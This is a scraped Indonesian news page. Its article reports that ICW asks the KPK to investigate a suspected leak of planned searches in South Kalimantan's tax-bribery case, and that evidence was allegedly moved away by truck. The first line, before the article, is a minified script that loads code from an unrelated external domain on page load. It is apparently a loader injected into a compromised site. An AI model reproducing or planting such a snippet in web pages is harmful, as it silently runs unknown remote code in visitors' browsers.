(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

ICW Minta Usut Dugaan Bocornya Informasi Penggeledahan KPK di Kalsel


KANALKALIMANTAN.COM, JAKARTA – Indonesia Corruption Watch (ICW) meminta Komisi Pemberantasan Korupsi (KPK) mengusut dugaan bocornya informasi penggeledahan pada dua lokasi di Kalimantan Selatan (Kalsel).

Peneliti ICW Kurnia Ramadhana menyebut, pernyataan Pelaksana Tugas Juru Bicara KPK Ali Fikri bahwa adanya truk yang diduga membawa barang bukti berupa dokumen terkait dengan kasus suap pajak di Kalsel menegaskan bahwa adanya tindakan yang menghalang-halangi proses hukum.

Tindakan tersebut, kata Kurnia, seperti dilansir kompas.com, merupakan obstruction of justice sebagaimana diatur dalam Pasal 21 Undang-Undang Tindak Pidana Korupsi. “Maka dari itu, ICW mendesak agar KPK segera menerbitkan surat perintah penyelidikan dan mengusut tuntas perihal siapa yang memerintahkan pemindahan barang bukti ke truk tersebut,” kata Kurnia dalam keterangan tertulis, Selasa (13/4).

Selain itu, Kurnia mengatakan, ICW meminta KPK membuka siapa oknum internal yang membocorkan informasi adanya rencana penggeledahan tersebut. “Jika hal itu tidak dilakukan, maka wajar jika publik menduga keras ada oknum di internal KPK yang ingin melindungi pihak-pihak tertentu dalam perkara suap pajak,” ucap Kurnia.

Baca juga : KPK Sebut Izin Penggeledahan PT Jhonlin Sudah Sesuai Prosedur

Sementara itu, KPK memastikan penggeledahan yang dilakukan pada dua lokasi di Kalimantan Selatan terkait penyidikan kasus dugaan suap pajak pada Jumat (9/4/2021) telah sesuai dengan aturan yang berlaku. Adapun lokasi yang digeledah itu yakni Kantor PT Jhonlin Baratama di Kabupaten Tanah Bumbu dan sebuah lokasi di Kecamatan Hampang, Kabupaten Kotabaru.

“KPK memastikan proses pengajuan izin penggeledahan telah dilakukan sesuai mekanisme aturan yang berlaku,” kata Pelaksana Tugas Juru Bicara KPK Ali Fikri.

“Sejauh ini, mekanisme proses adminstrasi izin penggeledahan tersebut tidak ada kendala dari Dewas KPK,” tambahnya.

Ali mengatakan, concern dan fokus penggeledahan yang dilakukan untuk kedua kalinya di kantor PT Jhonlin Baratama itu karena ada dugaan pihak-pihak yang tidak kooperatif dalam penyidikan kasus tersebut KPK menduga, ada pihak-pihak yang sengaja menghalangi penyidikan dengan cara memindahkan bukti yang diperlukan.

Baca juga : Jokowi Teken Keppres Cuti Bersama Libur Lebaran dan Natal 2021

“Oleh karenanya kami ingatkan, siapa pun yang sengaja menghalangi penyidikan dengan antara lain diduga memindahkan bukti-bukti yang diperlukan dalam proses penyidikan ini kami tak segan terapkan ketentuan Pasal 21 UU Tipikor,” ucap Ali.

Ali memastikan, KPK terus melakukan penyidikan dugaan korupsi perkara tersebut dan mengajak masyarakat ikut mengawal setiap prosesnya. “Kami tidak ingin berspekulasi terkait opini adanya kebocoran informasi kegiatan tersebut,” kata Ali.

“Prinsipnya, kami akan tegas terhadap pihak-pihak yang sengaja menghalangi baik langsung atau tidak langsung terhadap proses penyidikan perkara ini,” ucap dia.

Sebelumnya, penyidik KPK tengah mencari truk yang diduga membawa barang bukti berupa dokumen terkait kasus dugaan suap pajak di Kalimantan Selatan. Tim penyidik, kata Ali, mendapatkan informasi dari masyarakat adanya truk di sebuah lokasi, Kecamatan Hampang, Kotabaru, Kalsel yang diduga menyimpan berbagai dokumen terkait dengan perkara yang sedang dilakukan penyidikan tersebut.

Baca juga : Mengisi Puasa dengan Membaca, Ini Jadwal Layanan Perpustakaan Selama Ramadhan

Namun, setelah tim penyidik KPK mendatangi lokasi itu, Ali menyebut, truk itu sudah berpindah tempat.
Oleh karena itu, KPK mengharapkan partisipasi masyarakat untuk segera melapor melalui call center 198 atau melalui email informasi@kpk.go.id apabila melihat dan menemukan keberadaan truk tersebut.

Penggeledahan yang dilakukan KPK di Kantor PT Jhonlin Baratama di Kabupaten Tanah Bumbu dan sebuah lokasi di Kecamatan Hampang, Kabupaten Kotabaru Jumat (9/4/2021) tidak mendapatkan bukti apapun. “Di dua lokasi tersebut, tidak ditemukan bukti yang dicari oleh KPK karena diduga telah sengaja dihilangkan oleh pihak-pihak tertentu,” kata Ali. (Kanalkalimantan.com/kompas/suara)

Editor: cell

 

 


Al Ghifari

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

4 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

5 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

11 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

12 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

15 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

15 jam ago

This website uses cookies.